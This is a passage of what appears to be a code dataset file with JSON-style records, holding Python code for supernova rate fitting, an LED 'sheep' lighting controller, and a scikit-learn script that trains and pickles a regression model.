float(BetaSigma[0])/np.sqrt(N_Sims)\n meanZ = np.nanmean(cat[RateTest.ztype])\n sigZ = np.nanstd(cat[RateTest.ztype])\n sigDZ = np.nanstd(cat[RateTest.ztype] - cat['SIM_ZCMB'])\n lowzCut = zminFit\n highzCut = zmaxFit\n contam2 = np.sum(cat[(cat[RateTest.ztype] > lowzCut) & (cat[RateTest.ztype] < highzCut)]['SIM_TYPE_INDEX'] !=1).astype(float)/ float(cat[(cat[RateTest.ztype] > lowzCut) & (cat[RateTest.ztype] < highzCut)].shape[0])\n contam = RateTest.fracCCDataTot\n ccscales = np.average(np.array(CCScaleStorage),weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2, axis = 0)\n cov = RateTest.covar\n correlation = cov[0, 1] / np.sqrt(cov[0, 0] * cov[1, 1])\n print \"Outfile debug\"\n print t\n print trueBeta\n print N_Sims\n print BetaMean[0]\n print BetaStdErr\n print BetaErrs[0]\n print meanZ\n print sigZ\n print sigDZ\n print contam\n print RateTest.typeString\n print RateTest.postCutSimCat['NN_PROB_IA'].min()\n print SigBeta\n print kmean[0]\n print kErrs[0]\n print kStdErr\n print SigK\n print np.nanmean(SampleSizes)\n print int(nbinsFit)\n print ScaleMuResCutLow\n print ScaleMuResCutHigh\n print RateTest.postCutSimCat['FITPROB'].min()\n print MURESCuts\n print np.mean(Chi2Mean)\n print contam2\n print ccscales\n print correlation\n ccscales = ','.join(str(ccscales).split())\n output.write('{0}\\t\\t{1:.2f}\\t{2}\\t{17:.3f}\\t{3:.3f}\\t{12:.3f}\\t{4:.3f}\\t{5:.3f}\\t{13:.3f}\\t{14:.3f}\\t{15:.3f}\\t{16:.3f}\\t{6:.3f}\\t{7:.3f}\\t{8:.3f}\\t{9:.3f}\\t{24:.3f}\\t{25}\\t{10}\\t{11:.3f}\\t{18:d}\\t{19:.3f}\\t{20:.3f}\\t{21:.3f}\\t{22:.2f}\\t{23:.3f}\\t{26:.3f}\\n'.format(t, trueBeta, N_Sims, BetaMean[0], BetaStdErr, BetaErrs[0],meanZ, sigZ, sigDZ, contam, RateTest.typeString, RateTest.postCutSimCat['NN_PROB_IA'].min(), SigBeta, kmean[0], kErrs[0], kStdErr, SigK, np.nanmean(SampleSizes), int(nbinsFit), ScaleMuResCutLow, ScaleMuResCutHigh, RateTest.postCutSimCat['FITPROB'].min(), MURESCuts, np.mean(Chi2Mean), contam2, ccscales, correlation) )\n print \"BetaMean[0]\"\n print BetaMean[0]\n print BetaMean\n print \"KMean[0]\"\n print kmean[0]\n print kmean\n print \"Correlation\"\n\n print correlation\n #print \"BetaWeightMean[0]\"\n #print BetaWeightMean[0]\n #print BetaWeightMean\n #print \"KWeightMean[0]\"\n #print KWeightMean[0]\n #print KWeightMean\n if not noCCMC:\n print \"Individual Scales\"\n print CCScaleStorage\n print \"Individual ScaleErrs\"\n print CCScaleErrStorage\n print \"average ScaleErrs\"\n print np.nanmean(CCScaleErrStorage)\n print \"AAA CC Scale means (weighted, unweighted)2\"\n print np.average(ma.masked_invalid(np.array(CCScaleStorage)), weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2)\n print np.nanmean(ma.masked_invalid(np.array(CCScaleStorage)))\n\n print \"AAA CC Scale stds\"\n print np.nanstd(np.array(CCScaleStorage))\n if simInd == 1:\n plt.clf()\n hist, bins = np.histogram(CCScaleStorage, bins = np.linspace(0.0, 5.0, 10))\n plt.step((bins[1:]+bins[:-1])/2.0, hist, where = 'mid', c = 'g')\n plt.savefig(dataname + 'ScaleDistro.png')\n plt.clf()\n\n\n print \"nIter\"\n print nIter\n if not (priorRate is None):\n kPriorPlots = np.linspace(0.8, 1.5, 300)\n kPriors = []\n for ktemp in kPriorPlots:\n kPriors.append(ratePrior(ktemp*trueMCK, BetaMean[0]*trueMCBeta, priorRate, priorZEff, priorRateErrUp = ratePriorErrUp, priorRateErrDown = ratePriorErrDown, priorRateErrAll = ratePriorErrAll))\n\n\n betaPriorPlots = np.linspace(-0.5, 0.5, 300)\n betaPriors = []\n for btemp in betaPriorPlots:\n betaPriors.append(ratePrior(kmean[0]*trueMCK, b*trueMCBeta, priorRate, priorZEff, priorRateErrUp = ratePriorErrUp, priorRateErrDown = ratePriorErrDown, priorRateErrAll = ratePriorErrAll))\n\n actualPrior = ratePrior(kmean[0]*trueMCK, BetaMean[0]*trueMCBeta, priorRate, priorZEff, priorRateErrUp = ratePriorErrUp, priorRateErrDown = ratePriorErrDown, priorRateErrAll = ratePriorErrAll)\n\n\n kPriors = np.array(kPriors)\n betaPriors = np.array(betaPriors)\n\n plt.clf()\n plt.figure()\n \n plt.plot(kPriorPlots, np.log10(kPriors) )\n plt.hlines(np.log10(actualPrior), kPriorPlots[0], kPriorPlots[-1], label = 'Best Fit Prior = {0:.03f}'.format(actualPrior))\n plt.vlines(kmean[0], np.log10(kPriors).min(), np.log10(kPriors).max(), label = 'Best Fit K = {0:.03f}'.format(kmean[0]))\n plt.xlabel('k')\n plt.ylabel('ratePrior')\n plt.legend()\n plt.savefig(dataname + '_LogKPriorPlot.png')\n\n \n\n plt.clf()\n plt.figure()\n plt.plot(kPriorPlots, kPriors)\n plt.hlines(actualPrior, kPriorPlots[0], kPriorPlots[-1], label = 'Best Fit Prior = {0:.03f}'.format(actualPrior))\n plt.vlines(kmean[0], kPriors.min(), kPriors.max(), label = 'Best Fit K = {0:.03f}'.format(kmean[0]))\n plt.xlabel('k')\n plt.ylabel('ratePrior')\n plt.legend()\n plt.savefig(dataname + '_KPriorPlot.png')\n\n plt.clf()\n plt.figure()\n plt.plot(betaPriorPlots, betaPriors)\n plt.hlines(actualPrior, betaPriorPlots[0], betaPriorPlots[-1], label = 'Best Fit Prior = {0:.03f}'.format(actualPrior))\n plt.vlines(BetaMean[0], betaPriors.min(), betaPriors.max(), label = 'Best Fit Beta = {0:.03f}'.format(BetaMean[0]))\n plt.xlabel('beta')\n plt.ylabel('ratePrior')\n plt.legend()\n plt.savefig(dataname + '_BetaPriorPlot.png')\n\n '''\n argList = ''\n minObjList = ''\n chi2Initargs = ''\n for i in xrange(zCenters.shape[0]):\n argList += 'f{0},'.format(i)\n minObjList += 'f{0} = 1.0, error_f{0} = 0.1, limit_f{0} = (0.0, None),'.format(i)\n chi2Initargs += '1.0,'\n argList = argList[:-1]\n minObjList = minObjList[:-1]\n chi2Initargs = chi2Initargs[:-1]\n #print argList\n #print minObjList\n #print chi2Initargs\n\n exec('''\n '''\n def chi2func(nData, nSim, effmat, fnorm, zCenters, {0}, dump = False, complexdump = False):\n\n Chi2Temp = 0.0\n f_Js = [{0}]\n chi2Mat = np.zeros((self.nbins))\n adjNMC = np.zeros((self.nbins))\n #print f_Js\n #Check if I am scaling errors down with increasing MC size. Make MC twice as large as \"Data\" to test.\n for row, nDataI, i in zip(effmat, nData, xrange(self.nbins)):\n #if dump:\n # print \"nDataI\"\n # print nDataI\n JSumTemp = 0.0\n for eff, nSimJ, f_J, j in zip(row, nSim, f_Js, xrange(self.nbins)):\n JSumTemp += nSimJ*f_J*eff*fnorm\n if dump and i == j:\n print \"nDataI\"\n print nDataI\n print \"Bin Contribution to scaled nSim\"\n print nSimJ*f_J*eff*fnorm\n #print \"Product of nSimJ, f_J, eff, fnorm\"\n #print nSimJ\n #print f_J\n #print eff\n #print fnorm\n if nDataI > 1E-11 or JSumTemp > 1E-11:\n if dump and i == j:\n print \"nDataI\"\n print nDataI\n print \"scaled nSim\"\n print JSumTemp\n print \"fnorm\"\n print fnorm\n print \"error\"\n print nDataI + JSumTemp*fnorm\n if (nDataI + JSumTemp*fnorm) <= 0:\n print (nDataI + JSumTemp*fnorm)\n assert(0)\n Chi2Temp += ((nDataI - JSumTemp)**2/(nDataI + JSumTemp*fnorm))#*fnorm**2\n\n return Chi2Temp\n ''''''.format(argList), locals())\n fnorm = float(np.sum(nData))/float(self.simcat.Catalog['zPHOT'].shape[0])\n\n #print type(chi2func)\n #print 'lamChi2 = lambda {0}: chi2func(nData, nSim, self.effmat, fnorm, zCenters, {0})'.format(argList)\n exec('lamChi2 = lambda {0}: chi2func(nData, nSim, self.effmat, fnorm, zCenters, {0})'.format(argList),locals())\n exec('lamChi2Dump = lambda {0}: chi2func(nData, nSim, self.effmat, fnorm, zCenters, {0}, dump = True)'.format(argList),locals())\n #print type(lamChi2)\n #print type(lamChi2Dump)\n #print 'MinObj = M(lamChi2, {0})'.format(minObjList)\n exec('MinObj = M(lamChi2, {0})'.format(minObjList),locals())\n exec('chi2Init = lamChi2Dump({0})'.format(chi2Initargs),locals())\n #print \"Chi2 init = {0}\".format(round(chi2Init, 4))\n\n\n\n MinObj.set_strategy(2)\n MinObj.migrad()\n #MinObj.minos()\n zCenters = (simBins[1:] + simBins[:-1])/2.0\n print MinObj.values\n fJs = []\n fJErrs = []\n for v in MinObj.values.keys():\n fJs.append(MinObj.values[v])\n fJErrs.append(MinObj.errors[v])\n\n \n exec('lamChi22 = lambda k, Beta: self.chi2V2(fJs, fJErrs, zCenters, k, Beta)',locals())\n exec('MinObj2 = M(lamChi22, k = 1.0, error_k = 0.1, limit_k = (0.0, None), Beta = 0.0, error_Beta = 0.1)',locals())\n\n\n #print \"Large Perfect Sim {0}\".format(simInd)\n #print \"Sim R0 = 1.7E-5; Sim Beta = 4.2\"\n ##print \"Sim Beta = 1.5; Data Beta = 1.5\"\n ##RateTest = Rate_Fitter('DES_FULLSURVEY_TEST/JLDESFULLSURVEYIaOnly+zPHOT+smearC11/FITOPT000+SALT2mu.FITRES', 'JLDESFULLSURVEYIaOnly+zPHOT+smearC11','JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow/FITOPT000+SALT2mu.FITRES', 'JLDES_R0_7E-5_Beta_1-5_Shallow','/project/rkessler/SN/SNDATA_ROOT/SIM/JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow.DUMP')\n #print '/project/rkessler/jlasker/Rate_Analysis/TestSameK2Beta/outFit_datasize/JLDES_R0_1-7E-5_Beta_4-2_Datasize_Perfect-00{0:02d}/FITOPT000.FITRES'.format(simInd)\n\n #RateTest = Rate_Fitter('/project/rkessler/jlasker/Rate_Analysis/TestSameK2Beta/outFit_datasize/JLDES_R0_1-7E-5_Beta_4-2_Datasize_Perfect-00{0:02d}/FITOPT000.FITRES'.format(simInd), 'TestSameK2Beta/JLDES_R0_1-7E-5_Beta_4-2-00{0:02d}'.format(simInd),'/project/rkessler/jlasker/Rate_Analysis/outFit_datalike/JLDES_R0_1-7E-5_Beta_2-1_Datalike_PERFECT/FITOPT000.FITRES', 'JLDES_R0_1-7E-5_Beta_2-1_DataLikePhotZ','/scratch/midway2/rkessler/SNDATA_ROOT/SIM/JLDES_R0_1-7E-5_Beta_2-1_Datalike_PERFECT/JLDES_R0_1-7E-5_Beta_2-1_Datalike_PERFECT.DUMP', 2.1, zmin = 0.1, zmax = 1.3)# , MJDMin = 0, MJDMax = np.inf)\n\n\n #RateTest.effCalc(nbins = 12)\n ##RateTest.effCalc(nbins = 20)\n #RateTest.fit_rate()\n\n\n #ksPerf.append(RateTest.k)\n #kErrsPerf.append(RateTest.kErr)\n #BetasPerf.append(RateTest.Beta)\n #BetaErrsPerf.append(RateTest.BetaErr)\n #print \"Sim Beta = 1.5; Data Beta = 1.5\"\n #RateTest = Rate_Fitter('DES_FULLSURVEY_TEST/JLDESFULLSURVEYIaOnly+zPHOT+smearC11/FITOPT000+SALT2mu.FITRES', 'JLDESFULLSURVEYIaOnly+zPHOT+smearC11','JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow/FITOPT000+SALT2mu.FITRES', 'JLDES_R0_7E-5_Beta_1-5_Shallow','/project/rkessler/SN/SNDATA_ROOT/SIM/JLDES_R0_7E-5_Beta_1-5_Shallow/JLDES_R0_7E-5_Beta_1-5_Shallow.DUMP')\n\n\n try:\n optfname = argv[1]\n opts = open(optfname, 'r')\n optlist = opts.readlines()\n\n zmin = None; zmax = None; MJDMin = None; MJDMax = None; bins = None; runFit = None\n\n for opt in optlist:\n try: \n optName, optVal = opt.split()\n except:\n print \"{0} not formatted correctly\".format(opt)\n continue\n\n if (optName.lower() == 'zmin') & (not zmin): zmin = optVal\n if (optName.lower() == 'zmax') & (not zmax): zmax = optVal\n if (optName.lower() == 'mjdmin') & (not MJDMin): MJDMin = optVal\n if (optName.lower() == 'mjdmax') & (not MJDMax): MJDMax = optVal\n if (optName.lower() == 'bins') & (not bins): zmin = optVal\n if (optName.lower() == 'runfit') & (not runFit == None): zmin = optVal\n\n if zmin == None: zmin = 0.1\n if zmax == None: zmax = 1.2\n if MJDMin == None: MJDMin = 0.0\n if MJDMax == None: MJDMax = np.inf\n if bins == None: bins = \"equalSize\"\n if runFit == None: runFit = True\n\n except:\n print \"Option File not working/Nonexistent. Using default values\"\n '''",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from collections import defaultdict, namedtuple
from color import RGB, clamp
import math
import controls_model as controls
from eyes import Eye, MutableEye
from geom import ALL
#from icicles.ice_geom import ALL
def load_geometry(mapfile):
"""
Load sheep neighbor geometry
Returns a map { panel: [(edge-neighbors), (vertex-neighbors)], ... }
"""
with open(mapfile, 'r') as f:
def blank_or_comment(l):
return l.startswith('#') or len(l) == 0
lines = [l.strip() for l in f.readlines()]
lines = [l for l in lines if not blank_or_comment(l)]
def to_ints(seq):
return [int(x) for x in seq]
def p(raw):
"returns a tuple containing ([a,a,a], [b,b,b]) given a raw string"
raw = raw.strip()
if ' ' not in raw:
return (to_ints(raw.split(',')), None)
else:
# print ">>%s<<" % raw
a,b = raw.split()
return (to_ints(a.split(',')), to_ints(b.split(',')))
dat = {} # defaultdict(list)
for line in lines:
# print line
(num, rest) = line.split(' ', 1)
dat[int(num)] = p(rest.strip())
return dat
_neighbor_map = load_geometry('data/geom.txt')
def edge_neighbors(panel):
"Return the list of panel ids that share an edge with a given panel"
try:
panel = int(panel)
out = _neighbor_map[panel][0]
if out is None:
return []
return out
except Exception, e:
return []
def vertex_neighbors(panel):
"Return the list of panel ids that share a vertex (but not an edge) with a given panel"
try:
panel = int(panel)
out = _neighbor_map[panel][1]
if out is None:
return []
return out
except Exception, e:
return []
##
## Convenience wrapper to pass around three separate sheep objects
##
SheepSides = namedtuple('SheepSides', ['both', 'party', 'business', 'party_eye', 'business_eye'])
def make_sheep(model):
return SheepSides(both=Sheep(model, 'a'),
party=Sheep(model, 'p'),
business=Sheep(model, 'b'),
party_eye=Eye(model, 'p'),
business_eye=Eye(model, 'b'))
def make_eyes_only_sheep(sides):
null = NullSheep()
return SheepSides(both=null, party=null, business=null, party_eye = sides.party_eye, business_eye = sides.business_eye)
def make_mutable_sheep(sides):
return SheepSides(
both=MutableSheep(sides.both),
party=MutableSheep(sides.party),
business=MutableSheep(sides.business),
party_eye=MutableEye(sides.party_eye),
business_eye=MutableEye(sides.business_eye)
)
##
## Sheep class to represent one or both sides of the sheep
##
VALID_SIDES=set(['a', 'b', 'p'])
TEST_COLORS = [
RGB(141,211,199),RGB(255,255,179),RGB(190,186,218),RGB(251,128,114),RGB(128,177,211),RGB(253,180,98),RGB(179,222,105),RGB(252,205,229),RGB(217,217,217),RGB(188,128,189),RGB(204,235,197),RGB(255,237,111)
]
class Sheep(object):
def __init__(self, model, side):
self.model = model
if side not in VALID_SIDES:
raise Exception("%s is not a valid side. use one of a,b,p")
self.side = side
self.cells = set(ALL)
self.cm = None
self.handle_colorized = False
self._brightness = 1.0
def __repr__(self):
return "Sheep(%s, side='%s')" % (self.model, self.side)
def set_brightness(self, val):
self._brightness = val
def all_cells(self):
"Return the list of valid cell IDs"
return ALL
# handle setting both sides here to keep the commands sent
# to the simulator as close as possible to the actual hardware
def _resolve(self, cell):
"""
Translate an integer cell id into a model cell identifier
'a' will be translated into two cells
"""
if cell in self.cells:
if self.side == 'a':
return [str(cell)+'b', str(cell)+'p']
else:
return [str(cell) + self.side]
else:
return []
def set_cell(self, cell, color):
if isinstance(cell, list):
return self.set_cells(cell, color)
# a single set_cell call may result in two panels being set
c = self._resolve(cell)
if not c:
return
if self.handle_colorized and self.cm:
color = color.colorize(self.cm.colorized)
if self._brightness < 1.0:
color = color.copy()
color.v = color.v * self._brightness
# print "setting", c
self.model.set_cells(c, color)
def set_cells(self, cells, color):
if cells is None:
return
resolved = []
for c in cells:
if isinstance(c, list):
for cb in c:
resolved.extend(self._resolve(cb))
else:
resolved.extend(self._resolve(c))
if self.handle_colorized and self.cm:
color = color.colorize(self.cm.colorized)
if self._brightness < 1.0:
color = color.copy()
color.v = color.v * self._brightness
# print "setting", resolved
self.model.set_cells(resolved, color)
def set_all_cells(self, color):
self.set_cells(ALL, color)
def clear(self):
""
self.set_all_cells(RGB(0,0,0))
# AAck! Never call go like this. Let the main loop
# handle the timing!!! :(
# self.go()
def go(self):
self.model.go()
# convenience methods in case you only have a sheep object
def edge_neighbors(self, cell):
return edge_neighbors(cell)
def vertex_neighbors(self, cell):
return vertex_neighbors(cell)
def set_test_colors(self):
ix = 0
for p in ALL:
self.set_cell(p, TEST_COLORS[ix])
ix += 1
if ix == len(TEST_COLORS):
ix = 0
class NullSheep(object):
"""
An implementation of the Sheep side interface that does nothing. This
can be handed to a show which might try to modify it, and thus can run
without crashing, while only the eye modifications are used.
"""
def all_cells(self):
return ALL
def set_cell(self, cell, color):
pass
def set_cells(self, cells, color):
pass
def set_all_cells(self, color):
pass
def clear(self):
pass
def go(self):
pass
def edge_neighbors(self, cell):
return edge_neighbors(cell)
def vertex_neighbors(self, cell):
return vertex_neighbors(cell)
def set_test_colors(self):
pass
class MutableSheep(object):
"""
An implementation of the Sheep side interface which can be muted -
that is, when muted, this sheep will act like the NullSheep, but when
unmuted it will pass things to it's parent
"""
def __init__(self, parent):
self.parent = parent
self.muted = False
def set_cell(self, cell, color):
if self.muted:
return
self.parent.set_cell(cell, color)
def set_cells(self, cells, color):
if self.muted:
return
self.parent.set_cells(cells, color)
def set_all_cells(self, color):
if self.muted:
return
self.parent.set_all_cells(color)
def clear(self):
if self.muted:
return
self.parent.clear()
def go(self):
if self.muted:
return
self.parent.go()
def set_test_colors(self):
self.parent.set_test_colors()
def all_cells(self):
return self.parent.all_cells()
def edge_neighbors(self, cell):
return self.parent.edge_neighbors(cell)
def vertex_neighbors(self, cell):
return self.parent.vertex_neighbors(cell)
|
normal
|
{
"blob_id": "fe01b78d29dc456f7a537dd5639bc658fc184e36",
"index": 5035,
"step-1": "from collections import defaultdict, namedtuple\nfrom color import RGB, clamp\n\nimport math\n\nimport controls_model as controls\nfrom eyes import Eye, MutableEye\n\nfrom geom import ALL\n#from icicles.ice_geom import ALL\n\ndef load_geometry(mapfile):\n \"\"\"\n Load sheep neighbor geometry\n Returns a map { panel: [(edge-neighbors), (vertex-neighbors)], ... }\n \"\"\"\n with open(mapfile, 'r') as f:\n def blank_or_comment(l):\n return l.startswith('#') or len(l) == 0\n lines = [l.strip() for l in f.readlines()]\n lines = [l for l in lines if not blank_or_comment(l)]\n\n def to_ints(seq):\n return [int(x) for x in seq]\n\n def p(raw):\n \"returns a tuple containing ([a,a,a], [b,b,b]) given a raw string\"\n raw = raw.strip()\n if ' ' not in raw:\n return (to_ints(raw.split(',')), None)\n else:\n # print \">>%s<<\" % raw\n a,b = raw.split()\n return (to_ints(a.split(',')), to_ints(b.split(',')))\n\n dat = {} # defaultdict(list)\n for line in lines:\n # print line\n (num, rest) = line.split(' ', 1)\n dat[int(num)] = p(rest.strip())\n\n return dat\n\n_neighbor_map = load_geometry('data/geom.txt')\n\ndef edge_neighbors(panel):\n \"Return the list of panel ids that share an edge with a given panel\"\n try:\n panel = int(panel)\n out = _neighbor_map[panel][0]\n if out is None:\n return []\n\n return out\n except Exception, e:\n return []\n\ndef vertex_neighbors(panel):\n \"Return the list of panel ids that share a vertex (but not an edge) with a given panel\"\n try:\n panel = int(panel)\n out = _neighbor_map[panel][1]\n if out is None:\n return []\n\n return out\n except Exception, e:\n return []\n\n##\n## Convenience wrapper to pass around three separate sheep objects\n##\nSheepSides = namedtuple('SheepSides', ['both', 'party', 'business', 'party_eye', 'business_eye'])\n\ndef make_sheep(model):\n return SheepSides(both=Sheep(model, 'a'),\n party=Sheep(model, 'p'),\n business=Sheep(model, 'b'),\n party_eye=Eye(model, 'p'),\n business_eye=Eye(model, 'b'))\n\ndef make_eyes_only_sheep(sides):\n null = NullSheep()\n return SheepSides(both=null, party=null, business=null, party_eye = sides.party_eye, business_eye = sides.business_eye)\n\ndef make_mutable_sheep(sides):\n return SheepSides(\n both=MutableSheep(sides.both),\n party=MutableSheep(sides.party),\n business=MutableSheep(sides.business),\n party_eye=MutableEye(sides.party_eye),\n business_eye=MutableEye(sides.business_eye)\n )\n##\n## Sheep class to represent one or both sides of the sheep\n##\nVALID_SIDES=set(['a', 'b', 'p'])\nTEST_COLORS = [\nRGB(141,211,199),RGB(255,255,179),RGB(190,186,218),RGB(251,128,114),RGB(128,177,211),RGB(253,180,98),RGB(179,222,105),RGB(252,205,229),RGB(217,217,217),RGB(188,128,189),RGB(204,235,197),RGB(255,237,111)\n]\n\nclass Sheep(object):\n def __init__(self, model, side):\n self.model = model\n if side not in VALID_SIDES:\n raise Exception(\"%s is not a valid side. use one of a,b,p\")\n self.side = side\n self.cells = set(ALL)\n self.cm = None\n self.handle_colorized = False\n\n self._brightness = 1.0\n\n def __repr__(self):\n return \"Sheep(%s, side='%s')\" % (self.model, self.side)\n\n def set_brightness(self, val):\n self._brightness = val\n\n def all_cells(self):\n \"Return the list of valid cell IDs\"\n return ALL\n\n # handle setting both sides here to keep the commands sent\n # to the simulator as close as possible to the actual hardware\n def _resolve(self, cell):\n \"\"\"\n Translate an integer cell id into a model cell identifier\n 'a' will be translated into two cells\n \"\"\"\n if cell in self.cells:\n if self.side == 'a':\n return [str(cell)+'b', str(cell)+'p']\n else:\n return [str(cell) + self.side]\n else:\n return []\n\n def set_cell(self, cell, color):\n if isinstance(cell, list):\n return self.set_cells(cell, color)\n\n # a single set_cell call may result in two panels being set\n c = self._resolve(cell)\n if not c:\n return\n\n if self.handle_colorized and self.cm:\n color = color.colorize(self.cm.colorized)\n\n if self._brightness < 1.0:\n color = color.copy()\n color.v = color.v * self._brightness\n\n # print \"setting\", c\n self.model.set_cells(c, color)\n\n def set_cells(self, cells, color):\n if cells is None:\n return\n\n resolved = []\n for c in cells:\n if isinstance(c, list):\n for cb in c:\n resolved.extend(self._resolve(cb))\n else:\n resolved.extend(self._resolve(c))\n\n if self.handle_colorized and self.cm:\n color = color.colorize(self.cm.colorized)\n\n if self._brightness < 1.0:\n color = color.copy()\n color.v = color.v * self._brightness\n\n # print \"setting\", resolved\n self.model.set_cells(resolved, color)\n\n def set_all_cells(self, color):\n self.set_cells(ALL, color)\n\n def clear(self):\n \"\"\n self.set_all_cells(RGB(0,0,0))\n # AAck! Never call go like this. Let the main loop\n # handle the timing!!! :(\n # self.go()\n\n def go(self):\n self.model.go()\n\n # convenience methods in case you only have a sheep object\n def edge_neighbors(self, cell):\n return edge_neighbors(cell)\n\n def vertex_neighbors(self, cell):\n return vertex_neighbors(cell)\n\n def set_test_colors(self):\n ix = 0\n for p in ALL:\n self.set_cell(p, TEST_COLORS[ix])\n ix += 1\n if ix == len(TEST_COLORS):\n ix = 0\n\n\nclass NullSheep(object):\n \"\"\"\n An implementation of the Sheep side interface that does nothing. This\n can be handed to a show which might try to modify it, and thus can run\n without crashing, while only the eye modifications are used.\n \"\"\"\n def all_cells(self):\n return ALL\n\n def set_cell(self, cell, color):\n pass\n\n def set_cells(self, cells, color):\n pass\n\n def set_all_cells(self, color):\n pass\n\n def clear(self):\n pass\n\n def go(self):\n pass\n\n def edge_neighbors(self, cell):\n return edge_neighbors(cell)\n\n def vertex_neighbors(self, cell):\n return vertex_neighbors(cell)\n\n def set_test_colors(self):\n pass\n\n\nclass MutableSheep(object):\n \"\"\"\n An implementation of the Sheep side interface which can be muted -\n that is, when muted, this sheep will act like the NullSheep, but when\n unmuted it will pass things to it's parent\n \"\"\"\n\n def __init__(self, parent):\n self.parent = parent\n self.muted = False\n\n def set_cell(self, cell, color):\n if self.muted:\n return\n\n self.parent.set_cell(cell, color)\n\n def set_cells(self, cells, color):\n if self.muted:\n return\n self.parent.set_cells(cells, color)\n\n def set_all_cells(self, color):\n if self.muted:\n return\n self.parent.set_all_cells(color)\n\n def clear(self):\n if self.muted:\n return\n self.parent.clear()\n\n def go(self):\n if self.muted:\n return\n\n self.parent.go()\n\n def set_test_colors(self):\n self.parent.set_test_colors()\n\n def all_cells(self):\n return self.parent.all_cells()\n\n def edge_neighbors(self, cell):\n return self.parent.edge_neighbors(cell)\n\n def vertex_neighbors(self, cell):\n return self.parent.vertex_neighbors(cell)\n\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from sklearn.linear_model import LinearRegression, LogisticRegression
import numpy as np
import pickle
import os
def Run(datasetFile):
# Get file from user
userFile = open(datasetFile, "r")
# Starter list of all instances of the data file
instanceList = []
instanceCount = 0
featureCount = 0
# put all instances in data file line by line into instanceList[]
for instance in userFile:
tempStr = instance
instanceCount += 1
# Be sure to seperate the entries by commas
for entry in tempStr.split(','):
instanceList.append(entry)
featureCount += 1
# Close file
userFile.close()
# Adjust size of feature count
featureCount = int(featureCount / instanceCount)
# With data now seperated we can make the numpy array and transpose it
dataFull = np.asarray(instanceList).reshape(instanceCount * featureCount).reshape(instanceCount, featureCount)
# Get rid of all the '\n' in array
for instance in range(instanceCount):
dataFull[instance][featureCount-1] = dataFull[instance][featureCount-1].rstrip("\n")
features = np.array(dataFull.T[0:featureCount-1]).astype(float).reshape(featureCount-1, instanceCount).T
target = np.array(dataFull.T[featureCount-1]).astype(float)
# Setup Machine Learning
isClassification = False
for i in range(len(target)):
if int(target[i]) == 0 or int(target[i]) == 1:
isClassification = True
else:
isClassification = False
break
mlModel = None
if isClassification:
mlModel = LogisticRegression().fit(features, target)
else:
mlModel = LinearRegression().fit(features, target)
# Make new file for Model data
tmpFileName, file_exe = os.path.splitext(datasetFile)
newFilePath = tmpFileName + "MODEL" + ".sav"
pickle.dump(mlModel, open(newFilePath, 'wb'))
|
normal
|
{
"blob_id": "ee7efea569b685ad8d6922e403421227e9ea6922",
"index": 6277,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef Run(datasetFile):\n userFile = open(datasetFile, 'r')\n instanceList = []\n instanceCount = 0\n featureCount = 0\n for instance in userFile:\n tempStr = instance\n instanceCount += 1\n for entry in tempStr.split(','):\n instanceList.append(entry)\n featureCount += 1\n userFile.close()\n featureCount = int(featureCount / instanceCount)\n dataFull = np.asarray(instanceList).reshape(instanceCount * featureCount\n ).reshape(instanceCount, featureCount)\n for instance in range(instanceCount):\n dataFull[instance][featureCount - 1] = dataFull[instance][\n featureCount - 1].rstrip('\\n')\n features = np.array(dataFull.T[0:featureCount - 1]).astype(float).reshape(\n featureCount - 1, instanceCount).T\n target = np.array(dataFull.T[featureCount - 1]).astype(float)\n isClassification = False\n for i in range(len(target)):\n if int(target[i]) == 0 or int(target[i]) == 1:\n isClassification = True\n else:\n isClassification = False\n break\n mlModel = None\n if isClassification:\n mlModel = LogisticRegression().fit(features, target)\n else:\n mlModel = LinearRegression().fit(features, target)\n tmpFileName, file_exe = os.path.splitext(datasetFile)\n newFilePath = tmpFileName + 'MODEL' + '.sav'\n pickle.dump(mlModel, open(newFilePath, 'wb'))\n",
"step-3": "from sklearn.linear_model import LinearRegression, LogisticRegression\nimport numpy as np\nimport pickle\nimport os\n\n\ndef Run(datasetFile):\n userFile = open(datasetFile, 'r')\n instanceList = []\n instanceCount = 0\n featureCount = 0\n for instance in userFile:\n tempStr = instance\n instanceCount += 1\n for entry in tempStr.split(','):\n instanceList.append(entry)\n featureCount += 1\n userFile.close()\n featureCount = int(featureCount / instanceCount)\n dataFull = np.asarray(instanceList).reshape(instanceCount * featureCount\n ).reshape(instanceCount, featureCount)\n for instance in range(instanceCount):\n dataFull[instance][featureCount - 1] = dataFull[instance][\n featureCount - 1].rstrip('\\n')\n features = np.array(dataFull.T[0:featureCount - 1]).astype(float).reshape(\n featureCount - 1, instanceCount).T\n target = np.array(dataFull.T[featureCount - 1]).astype(float)\n isClassification = False\n for i in range(len(target)):\n if int(target[i]) == 0 or int(target[i]) == 1:\n isClassification = True\n else:\n isClassification = False\n break\n mlModel = None\n if isClassification:\n mlModel = LogisticRegression().fit(features, target)\n else:\n mlModel = LinearRegression().fit(features, target)\n tmpFileName, file_exe = os.path.splitext(datasetFile)\n newFilePath = tmpFileName + 'MODEL' + '.sav'\n pickle.dump(mlModel, open(newFilePath, 'wb'))\n",
"step-4": "from sklearn.linear_model import LinearRegression, LogisticRegression\nimport numpy as np\nimport pickle\nimport os\n\ndef Run(datasetFile):\n \n # Get file from user\n userFile = open(datasetFile, \"r\")\n \n # Starter list of all instances of the data file\n instanceList = []\n instanceCount = 0\n featureCount = 0 \n \n # put all instances in data file line by line into instanceList[] \n for instance in userFile:\n tempStr = instance\n instanceCount += 1\n \n # Be sure to seperate the entries by commas\n for entry in tempStr.split(','):\n instanceList.append(entry)\n featureCount += 1\n \n # Close file\n userFile.close()\n \n # Adjust size of feature count\n featureCount = int(featureCount / instanceCount)\n \n # With data now seperated we can make the numpy array and transpose it \n dataFull = np.asarray(instanceList).reshape(instanceCount * featureCount).reshape(instanceCount, featureCount)\n \n # Get rid of all the '\\n' in array\n for instance in range(instanceCount):\n dataFull[instance][featureCount-1] = 